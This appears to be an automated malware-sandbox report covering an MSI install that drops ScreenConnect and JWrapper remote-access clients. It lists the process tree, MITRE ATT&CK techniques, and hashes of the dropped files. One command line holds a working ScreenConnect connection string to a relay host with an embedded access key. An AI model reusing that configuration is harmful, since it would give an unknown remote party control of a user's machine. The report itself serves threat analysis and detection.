C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2152

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4052
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4A27CA12CDAB735B17CE539B25A8488C E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIAD52.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240692796 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5720
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding ECC14754125D24F6716CD64118A5C6DD E Global\MSI0000
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5656
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI2E7D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240725656 22 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3772
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 18C55CB21CFD294116816A4422557E77 E Global\MSI0000
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3744
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI93F0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240751750 46 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5460
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 341F88ABB6A34F6B4606007A69543E08 E Global\MSI0000
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1780
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSICB8E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240765937 70 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3616
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4427C9BD446B6E559FD5C7B473222D9A E Global\MSI0000
  2⤵
  - System Location Discovery: System Language Discovery
  PID:416
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI917.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240781765 94 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5532

C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=connect.nexusa.co&p=8041&s=c139aac9-1e68-4ecd-ada1-51e7a4620475&k=BgIAAACkAABSU0ExAAgAAAEAAQDB92uTnI%2bcdTE6%2bkFW3HRdjfTzCOCuPgZszhXX8LhtKpgD%2b8txTivuqSdGoQYKgYqYfGCkTAQOvdNzcynB5f%2fk%2bTBpWXBNHGNwU9ZbQ3o5szCaVOibXX%2btxjLuxC4P8ZpgNbwh0OEIxJJENonNOTJKdpjABSIXIgdqg8tUASAydZLMfK97n367wikytt1Pkma09lgmlZ%2bnVdv7NZphG4EXg28lA9j87pKYtSpQcUhvpXKRRzAHlVTJ4DyXcv7%2f5Cv4TW7i%2bvUA6uGEj1wrSPZApwRFeyT5YxLLto0vFL3sVDiaGoeSzFm7IHm5%2bJkDOzcZLcb41Af9knw3p2W80t2i&c=new&c=&c=&c=&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5112
- C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsClient.exe" "RunRole" "3fbef4d3-58cc-4661-9ce9-eb2e7fc76b63" "User"
  2⤵
  - Executes dropped EXE
  PID:4228
- C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsClient.exe" "RunRole" "3c0d73a3-a0c2-4f58-9c01-a8d7ad3eb05e" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  PID:2456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58ac1d.rbs

Path C:\Config.Msi\e58ac1d.rbs
Size 214KB
SHA256 c9cfc1eb972cb7f7fb18d941e609614b4c921847085c8b7a929209a3aaff2d08
MD5 20d65bb3fc829fdd1ff31ff2c92429b3
SHA1 46cef9cb76d882d656b4b83cd14fa08afd329a7a
SHA512 73a3f5260527c5e537b2441afce461e8d2684230b6acc53584f5f2240bd8ed3e39b9a816ed33f6d960c846e0f9f67e9fef68fe3008c2f6f40c5cedde736de960
SSDEEP 3072:QA9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGw:QAuH2aCGw1ST1wQLdqvw
TLSH
T1A6248C216484807EE7FA1A32D93F9A617E3DF6641760C59EC3888C1E9D604C06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e58ac21.rbs

Path C:\Config.Msi\e58ac21.rbs
Size 3KB
SHA256 ece43bc3ed389ece08ee987ffb78775432bb1206bdfaf87b8c0646a4b2080ec2
MD5 4109c019f86dca1a86536163c2976fa0
SHA1 21784955e4c49e6a27b01a01a281d1fd084445d2
SHA512 832746a74940fe1783ae991f6073bd26a11f017834e2757cb42c5d230e59dc84b2a9ccff8e3aa7901850543bbbe45d4e555d35020b26b424e1040382b31ed3e9
TLSH
T19E716B029B049783EDA22B30CE1707503777DBE5C725534B448CA1744E57B899FEE28E
MD5 SHA1 SHA512 TLSH

Submit Download

e58ac24.rbs

Path C:\Config.Msi\e58ac24.rbs
Size 3KB
SHA256 887bcea41b6ce7484a13d20d2c0242321431854fd85eeaa8a4ebcee43589fb8a
MD5 3c1cea18c7b1e79eaff08155bd75fdea
SHA1 c30bb1ddca99105d188e35e29b973b1335a9aa3c
SHA512 014f995b64f5a97ae9fbd4d8b6868dc0e34ba31c3102762724a219e6d9ea5abc3992d2639f09d6623f0483546c8e7faa54ca185a530cc33f69be4fb5e296d987
TLSH
T1E6716B02AB049783EDA22B30CE570B513773DBE5C725435B458CE1744E57B899FEE28A
MD5 SHA1 SHA512 TLSH

Submit Download

e58ac27.rbs

Path C:\Config.Msi\e58ac27.rbs
Size 3KB
SHA256 b03ed7159d3b72e83b6e85dad45e48dc0896dc4009507aeac3a65b2a1cbfa085
MD5 dbd2749feb0f1699cfbbabac3c263b8b
SHA1 370eeeb67ac9e5043ca2d0fba270889d6d0a5c98
SHA512 a0fb4faeb4708a84053b41e6e81568c6f614b9f59dbfaf0f2ac29a3b6bce11455b9b287095f4358e492b0b7ab26cdd72923139d268c2af688e89b4ec835478b8
TLSH
T1C6716B03AB049783EDA22B30CE570B503773EBE5C725535B058CA1744E57B899FEE28A
MD5 SHA1 SHA512 TLSH

Submit Download

e58ac2a.rbs

Path C:\Config.Msi\e58ac2a.rbs
Size 3KB
SHA256 a079255f53e22d9b08b3f3eb21177115f5c3bb53878df193fc12be9776d71135
MD5 443efb147104da51d7d33f2d81fee24b
SHA1 464399ec277d4b8f1da7c39d0e98167becee6000
SHA512 a3fe37db295b900c96b0a35c859042bfb486dd735bdb5405a591521eb0b219eb2ce7f0efa18e590faf3734f42538ea34467df43dc56c339af100ec0d871377f7
TLSH
T1F6716A02AB049783EEA22B30CE570B503773DAE5C725435B058CA1744E57B899FAE28E
MD5 SHA1 SHA512 TLSH

Submit Download

serviceconfig.xml

Path C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\serviceconfig.xml
Size 502B
SHA256 5f7ed6033b819c4395cab1cd13aac00688eb7f8165e4c6409259e551bc02caba
MD5 e03f95758b59d77d31f76e65772c2e56
SHA1 9f6f7cb3cbf7b809a9cfc26bd40eadbb2f903530
SHA512 99f8bd732995b4c6aaa39627782d427749e9ed1bb22f6200a80e669c7241aaccd220fff2bb034e5b723b8b4f24ec0120e86282ce8a0864b23d0b2e72dd073e21
TLSH
T12AF00ED9E0F3F17BD19F270BC83540BC1B7009289A344459FC80805ABECC1A83F068A0
MD5 SHA1 SHA512 TLSH

Submit Download

JWrapper-Remote Access-UninstallerICO.ico

Path C:\ProgramData\JWrapper-Remote Access\JWApps\JWrapper-Remote Access-UninstallerICO.ico
Size 48KB
SHA256 85f2b156d63d64d4e9998f2e8207a03c096b8aed5b1631823dff36c2e89c52e6
MD5 3629d03fef69370d6933829d175147a5
SHA1 52320b01ee8c0cf248b60180eb8046ab350fe548
SHA512 f3cb0a706e8ec58795d99f0d3476098872e63c45fd3b50f0b6ceafc632b5f9db74ca8c5e1813c50600e7e235f285157c36a0d7cab099ff2257aa8286224b1fd1
SSDEEP 768:fZ51+/60ykkmZoVLl/rvikFjoFOcmn51+p73VGxWqHb6aLiXVhKr+yf71M:fZ2/qkmL5L72FOR58GYOb6FXDKr+yBM
TLSH
T10223C00693D59BFFF414E837505E8A6133FA90B9B57A12EB5B1263280C7F1239E836C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Remote_Access_ConfigureICO.ico

Path C:\ProgramData\JWrapper-Remote Access\JWApps\Remote_Access_ConfigureICO.ico
Size 37KB
SHA256 c69313659be4dd0a2532d5d6d80b703bb0821c9763ff0f8e7600e35d668bfb49
MD5 1dedd3cd749cc418dbbb55104c789433
SHA1 26487fbb05d102fc039c4c8b87375eef6a874092
SHA512 d1c67ea73d7414915820934433bdac022e112f9cc16b26206f435670764305b61157aea158dd388c5f446b1b532d83195c3b811ab64e0914d5b82dcf49c39a3d
SSDEEP 768:6T+WVaSghgLClviFxBDnh2l54HiPdSrkZ7HkFVpGwI:k+YEgQvu3DnUl5eySSHypGT
TLSH
T13C03BF02BB84F3DED26B9173765D170B132B9D0326639B5B288EC3679DBB0704B47562
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jwutils_win64.dll

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\jwutils_win64.dll
Size 178KB
SHA256 837fefd495e9325fcbf173b6c129794ee468df2d33b6c020c5624a27738a59e9
MD5 44d8cde0d01f105b1dc3d67f096ca8e6
SHA1 ca9e3fd2971934f7afd183cb9f42786ccb9bc7ad
SHA512 9b27fb6f5fb3d17fc28b0d14cae70e59ecdbd0d16c6d04f003d3ae07281c5ff9f846d61c12a7d2e6c0c9bd8864a490d94e1ca21b21a11d01706427ec179a5caf
SSDEEP 3072:ZuQFNbxwmckLpSMyLv3vi0VloZi91wSnP7ZOq1za12bDouxpMB/gt5:D/Drq/UEESP7ZOiBHwNM5
TLSH
T1FB045C96B29640F5D5BBC23CCA924356FA7234144325A3CB17A08B792B77BE4B73D360
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nativesplash.png

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\nativesplash.png
Size 8KB
SHA256 5ac80b373a7de315cc803eea0fc640335369df062de52b53c2a4175af2c0a2a7
MD5 08051133e368d61036576d3ed5b9cc14
SHA1 817e7a73eb33ab39e3c4d8c99a00c9d05c64f5c5
SHA512 93400dc7b885e2f51942ccba11ed7f1ebc82b9d726aa3b5c11ea118bfa93d20594243449ce37195cf72387064514c01d0d2d38776d7d049e148050edf873b7ce
SSDEEP 192:XFcpG2JMh/HwqndQb0qZzAuc6SyLK8hC5W+Cyd9kipsR5iyjR:ik48YadQbxO6PLpCWHGVSIyjR
TLSH
T16112BFCC406E7CA471E2012A8A44C75117B625B11D55BE2A3A41DCEB618CEDF2CFBAD7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

JWLaunchProperties-1778199817636-54

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\JWLaunchProperties-1778199817636-54
Size 14KB
SHA256 f86ec50ecc9a7bdf581b6083ab8963a70f22ba81d2d640a0e6cba059394ce730
MD5 ea040a60066a5f84cd0a99c1a4994255
SHA1 e8def45f3829a316235137e7c55e308ac82093ba
SHA512 b2f935c8844cc76fb322ddcded23c792463dcea1c3f03e848ec5797dedf57fbf09d8062340722b5b6ed08a1027848783d0c84b17d0e6bd506fd161883facd692
SSDEEP 384:gYuhbXHWQvXNQFD3BxIhMLOoTmpKy2+buS:gYuhbHWQvyzMhMLt68+buS
TLSH
T1C962C0E9183476734D51B1E9354F7ABEBB3253E49291EB8C57A3B219C7EA007724D04C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jwBuildVersion

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwBuildVersion
Size 11B
SHA256 b763b26017745c203140ff015559c136a3b313dce87242c620012b03f9a3eff9
MD5 dd1e3ca806ad272ce608751c7de09566
SHA1 262eb244dc73e1ee107924987b6f787085a195f1
SHA512 1af497071d7c15c4798e0d4c0848c21909910eb822c9f6d3aad57aba4ea54f79fc384e0554154c9c55d0e54b0b86c3225d26838f3de783bdb0206b0b08e2600c
MD5 SHA1 SHA512

Submit Download

jwLastRun

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwLastRun
Size 13B
SHA256 29d8d3dc92e335e91dc30a5b413f843d01f3dbaa6757d8f43678264cfbbb8f84
MD5 cdb4762e701ca7f90123e3eb720ea548
SHA1 0b9ce25ba08c7dacb215532208fa4a12d5211764
SHA512 2773d567123c97e5023f8e9443a382a2004066a15edcc8fc7560a65b9589edf5cb862ccefe4e76968349c0b6d289350461b428751a7a85ad6668785a7d23b502
MD5 SHA1 SHA512

Submit Download

jwLastRun

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwLastRun
Size 13B
SHA256 bde7923656908db121d4e8c2c324c250e979bba2ebbf91fdff92a8873de36d0f
MD5 098adba5576b3da7f7d6ccb68316c82f
SHA1 50aafde82bf04fcd5788c655c5ee747a379d7ba8
SHA512 e63bf18ca964e97303986384892b9ed0dea23bf4420f97603f69a0e6bbf7590038c56dcf1f1c46d7d13fa3547e5dbff42b6d30ad84c37762052b606970b771d7
MD5 SHA1 SHA512

Submit Download

java.dll

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\java.dll
Size 147KB
SHA256 98dda25cc003d49232108012375fbd15e8c721030d27b0150bc8d7fdf11b99eb
MD5 5ce65a4198ec258940cae0e66b951f0f
SHA1 194e6e9be561f1e38b97d6a2c2516e8bb0c592c2
SHA512 d1337362eee45ba0fb107f0696be1f60c41e30143a3b226cf5c57a3cc6585eebb04ee5af92c1c147bb9bc02a8c3387e7dda356251e0dd8bac9adbd73edaf455f
SSDEEP 3072:C3PUO1vb0afLDRqu67YmITk+Jy/77VKdwTkZ4eE/:S1FnRxZZy/QK82
TLSH
T198E33A4AA34640A2F49772B8B0149107E3B6B598023C93BB47E48B0F6FBF761BD57B45
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

net.dll

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\net.dll
Size 90KB
SHA256 dd493878350d5ca8812e85c2cbf46aad22f9665c36d559d290c850d053a13f8a
MD5 c61a2ce2df9b8670e92450a48729b4ac
SHA1 ae1ad89df8a6527a132a49bb8feb0703e70ba0b8
SHA512 16743cfecbb64cd197f7c420c5cf7da53e80f14899455bb851c8d86518b46063bbbd7b3d84a8ab803f94b9f4300d6fe0fa9439d14da918777f580b86e885f8bd
SSDEEP 1536:957o97I5ZyBDczJBnxnRRcwn4U744+gMExMRhdolsyIcYVSbvw:9kDBKBn9Awn4U7440EHsyIcYVSbvw
TLSH
T1E8934904636820E5F877D2FCC6568207E7B274705660939F12B2CA9AAFDFB717E09B41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nio.dll

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\nio.dll
Size 57KB
SHA256 ed08fc11b05c728083485a550118afb9c85959d654c3580967d1fe8f9ae7170e
MD5 f1b9456b9d1e4689f70476226a375ddb
SHA1 d189e91eda8d52d20dc0bc1f2f7e2ad293a2882c
SHA512 8540a493aad2dd19f000baa158a8f5f9e0b7d58789c829195b79e354f46b882bd28664b61b81a38169d794625d1d2829393f31ccdd8756a720527c41fde37241
SSDEEP 768:ivTI+hiL5dma7Q8m8KiiKEiql6tjfNObdb45GNrSapXVqlsmB5KP8eCMiIy31Sd8:WERXEv0jqEkrS5548ekv3Y9ciYD
TLSH
T11D432AB7436484D7E46A7138829B4787E463F8108524672F4238C7959FAF7B23E2EB53
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jvm.dll

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\server\jvm.dll
Size 7.7MB
SHA256 f534c181ff411fed4f82e2e4417fed7e4f0c644bdfef1bfc27b72d53facdd6e0
MD5 4905b7ce66d1d106693539433b47ad36
SHA1 24ed2d4f11688f3592749803c87f7b4aa4a81160
SHA512 8464d8bf45683f7dcda3921a27022cb23ad84e6c4a5d9fc290cbe8664699878cd06f50d8111cdbee2f8f4b68dd95cad01a01b042a406b3bc0dbef1de426676d4
SSDEEP 196608:3buJXYXfcLDCugihw407humD0qFO9g6mpv:3buJif1ih1mD0qFO9g6mpv
TLSH
T198863A1EA3B580E9F82AC0788E6A970BD6F274A5133097CB9FB047451B93EE5157F213
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

verify.dll

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\verify.dll
Size 47KB
SHA256 d2b5ce56fbaa43f470ecd23f3e37b179d57cf181cbc4f6066f857603c97e3aff
MD5 68f9115344ddcbb428d0af8ebb1eab18
SHA1 3ca54b9530d77f9109489f492973dcc608d8494f
SHA512 574bdd87c0bef081745b1f75cee7a3ea90c4d4261bcaf493a6edc09c88069c6e3e004a988a11aef9811323d998f4b9ab2ebcfa2086d0abf693de8b8d5e4a12ef
SSDEEP 768:1E1NR6iCgj+m/wpbj9pyIstEGF5ecO/JDwAsjD9jQE716IvL2v46jHJ5/:CPYnstvocyXq9ME002v46jHb
TLSH
T192234957AEE516B6E1C3C331C89DA31FC9B1F881137486EF45E04AD59B93B5026BC70A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zip.dll

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\zip.dll
Size 73KB
SHA256 eed8ab307be46321799bdcaee6e2a01dcf9bad202f5f2ea62aa9edd71c14410f
MD5 8880ca93a2690707b5b6fc8e7ad60406
SHA1 886b5719004d1fd32040a11d98c9fb9bd4f12cf8
SHA512 3adf917293728a526ea56d41a451b2f7df49ebd0ee93c04f44afc20d810b81cea1844460c6d91a1d79f379b522e5022bb92847839dc1c6c35efd7d9651d11feb
SSDEEP 1536:wIt0O1bmgGRWuWW9jZ8CMniIOLIOyVnToIfdK+Pj7Q:wItZZbSBWCOnA9y9TBfdK+PjU
TLSH
T1BA739F165AF46261FAF655B4C4E7CA2FC372341412E4A79F429C97821F077A23B983EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

meta-index

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\lib\ext\meta-index
Size 703B
SHA256 ef4f43d97420e544fd64d504029233191e92a46bc7811478f4b6dc7c02651072
MD5 426812cbfc93fb23bbc504c2bf92575b
SHA1 e077f3d8e6a0b769c0c504348b257edc609563c8
SHA512 84f3ddc620dc2b98425ca6742e295151d4f27e417412e1ea6bcec8d2eb9d71c98cb60b9f687ab7443f702f23fa98011793f73e715e0a9e82ef4f40038b69eab0
TLSH
T1F2014C2B865285A9FA3D4FD9F673FAC2A10C832D001813BD45C618893A5ED5A197CEB9
MD5 SHA1 SHA512 TLSH

Submit Download

meta-index

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\lib\meta-index
Size 2KB
SHA256 9e7c10cdd58c21ddc3a9e38f28f6a2e8537b899db7a6f3257df852af5cb195d5
MD5 ea689f8d42b8b8767954517d78556664
SHA1 a327f9432a0aec9ab1d5308a27aa0d565f72ffa6
SHA512 51428b2870c783c20bf33e2f833508b1d6f8aa6f0cc36fd04db77f2837f1f5f40f7b72a215429b70cbfa87ea8d2b1528b5f13bba83a55553f4883d8e415ca65d
TLSH
T1964113AF0283801F9E8849DBB577DB964BA8C4371898A3FC42D55C8679CDC4B0738A74
MD5 SHA1 SHA512 TLSH

Submit Download

java.security

Path C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\lib\security\java.security
Size 17KB
SHA256 379f1c061e63b8a272b034503d4af821ee0f40052d0cff060ac61bc190071b66
MD5 779d1c858e736a5a9e9f5a5eddf49fe2
SHA1 7af7dda65d74c7cd17ad10b0aa9e854a96a26e6f
SHA512 339844ee820b81212a59cf25cc99a5ccdd656634038d72cdefce305b3fcce0ecba5d50c1610adcb2089a1d1635bcc2c84dd2e5b64bdd84f1c0ee2d139c86b46c
SSDEEP 384:almbJhHC6UTNUfO9WgTQNkPuN2gzGNEtzQNoLRvhb8:aobjC6UTOfO9WgTQ+PuN2gz+otvhb8
TLSH
T16782B633E74B2A70069151A7244E57CDAB1C95BA12F2909CB2DCCA5DBF03D65C12F2EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

JWAuxiliaryArchive-Remote Access_macutils32

Path C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199807-4-app\JWAuxiliaryArchive-Remote Access_macutils32
Size 1B
SHA256 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
MD5 93b885adfe0da089cdf634904fd59f71
SHA1 5ba93c9db0cff93f52b521d7420e43f6eda2784f
SHA512 b8244d028981d693af7b456af8efa4cad63d282e19ff14942c246e50d9351d22704a802a71c3580b6370de4ceb293c324a8423342557d4e5c38438f0e36910ee
MD5 SHA1 SHA512

Submit Download

cacerts

Path C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199807-4-app\cacerts
Size 110KB
SHA256 d020172012854bb4a9d461885c6816eb855498c63ff78bc60944f4fba1e9091a
MD5 2ecfd7e5a8789c3f0e68ae85a26dea23
SHA1 8bccdebcd485eba9a0ac324efe458a087dd55c2a
SHA512 9c350aa5bf3d975d64988f9f33ac3dd0533322f57b9a7a07db479d0082693b5f74c4a90be853dd1af8f2749f003bd8633632732c7ad6bb1abbb894b343ae10db
SSDEEP 1536:n1kP9UXlkT1ze0WuQHoeCHtVjnIhEObD4lyCpcJa7eUS:nKLI0WuybotVnINbclyCpE
TLSH
T190B36CCB4F383921BFCA9E546288E6373E75B3D6A69A24171575C0E16DD27F43A8C00E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jwrapper_utils.jar

Path C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199807-4-app\jwrapper_utils.jar
Size 2.6MB
SHA256 5c4b755a86296e29092cc59e9cc83aade7d509f2528c28d1217e59acdbbcc870
MD5 c0e7992fa5835b1d2a9e474ac2f5fde1
SHA1 2ff8017b58debe310f552f800914ed45ec7c890e
SHA512 1d74d28a8e82fb46b11dd11bdc5ebd55794bb139a545a3f4e93f58631846b6439bb75e389bfb975cdf7df950ebf13ccb6ca35de4eec756e424e059b896dab3d7
SSDEEP 24576:df0t1FIwZdFpDH38sgwZJUqZqxuFOgm/iYEOnmQtj9RtHoMBc+P1LH:FC1FHeqZqxuFOgMbnmQtDtoMBcwH
TLSH
T16BC55C17F1105E1BF285E77C296483A8777060308313F6F25F98A96B5EEA2E89F453D8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jwrapper_utils.jar.p2

Path C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199807-4-app\jwrapper_utils.jar.p2
Size 923KB
SHA256 bd13d69cb69faf7882a00f934a825c08669879f831c99df273eda2db1846c5e8
MD5 992336253c3205dd9b8cfac12dc307ce
SHA1 9d9e21e4aa4271276bcdccf577b02d960bbbedfa
SHA512 d81340c5f0c4477de689054c6a6a35688438390a4f36dcecc0466d6fecdabd37990359ae073ded0839fc7e768fd4cdc9bdd529a4dadacdc1846da7c2d80de661
SSDEEP 12288:BD8FXQT9muKMUQqM4nQfKPFEaabAScvtvlwStYUT10wsdQ:OXQT9muKYonQQBa0dlBj10JQ
TLSH
T14B157D0BF74D76BDE5910B3248A1870B5739D0086B3217D3372C69A4DE8339B5E2F2A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcr100.dll

Path C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\msvcr100.dll
Size 809KB
SHA256 1d1a1ae540ba132f998d60d3622f0297b6e86ae399332c3b47462d7c0f560a36
MD5 df3ca8d16bded6a54977b30e66864d33
SHA1 b7b9349b33230c5b80886f5c1f0a42848661c883
SHA512 951b2f67c2f2ef1cfcd4b43bd3ee0e486cdba7d04b4ea7259df0e4b3112e360aefb8dcd058becccacd99aca7f56d4f9bd211075bd16b28c2661d562e50b423f0
SSDEEP 12288:3gzGPEett9Mw9HfBCddjMb2NQVmTW752fmyyKWeHQGokozS:QzJetPMw9HfBCrMb2Kc6ymyyKWewGzUS
TLSH
T13E059D9536A907F6D137D63DC996D606E2B2741513315BEB01A08BAF1F23BE09A3F312
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unpack200.exe

Path C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe
Size 176KB
SHA256 fc928901712fa8b6c977eaa909b2727f6b3bff577319d1a0195804bf1826cc72
MD5 e5adb17ec52853e05edb2cc715b59cc1
SHA1 0abb4d6f6eeaf18aef4474cfd27662591468643d
SHA512 ef04c83b7fccf74d7cb48535f798ff30b171627cc9f21387273feed3a8eaf575694ff4ad9f7c6e7d10de8a4bddee379579f2962c1c2cfab7adcbaffe0355043e
SSDEEP 3072:U3sMlZbgLgHFusSEc1G8YKXFk9H6PTBfBsBMER9iKE5:LMlZbgLwq7PkkPTB5sBf+
TLSH
T17B046D6227A41267D4F68179EAC3871BE6B27959037893CF80D843B21F136D12AB53ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

windowslauncher.exe

Path C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\windowslauncher.exe
Size 354KB
SHA256 6b8fa0274a99950b0d4fc89ab531092dd36038cd18b33ce570f33295536916f0
MD5 9eed0e6f480263f696cb5faae57b6238
SHA1 49aad5618fdc9fb3a29d334777915ef2d33973d9
SHA512 d5caac25ac3bef33565e9b8586122733a27d83dc4956c6b421a819ac60c470557a1ccc8c27dd0da303b682cc2a2e9d047a1c1bdd0de5cd2fd5787c7913387a0b
SSDEEP 3072:uu9l+2xLMaRyXQcp9rIzpLzOyW9VRULQwrr96imiuznUlJ2Anjv6:u4tV/w/MzpmC96tiMUlo
TLSH
T123748C92B28140F5D1E3D23A8AD60B56E7B6B015073563CF1B60846A4F7B7E86F3E361
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

alt-rt.jar

Path C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\alt-rt.jar
Size 164KB
SHA256 12b54648e9d26b494c76c9e3756dab60add8f854688fc12e2c36c05891989ade
MD5 b485c439bfba1362f43a9aa241f0ff2f
SHA1 5d3fdfc49a44d0e4f1bbc1c98a4f4a22b8379479
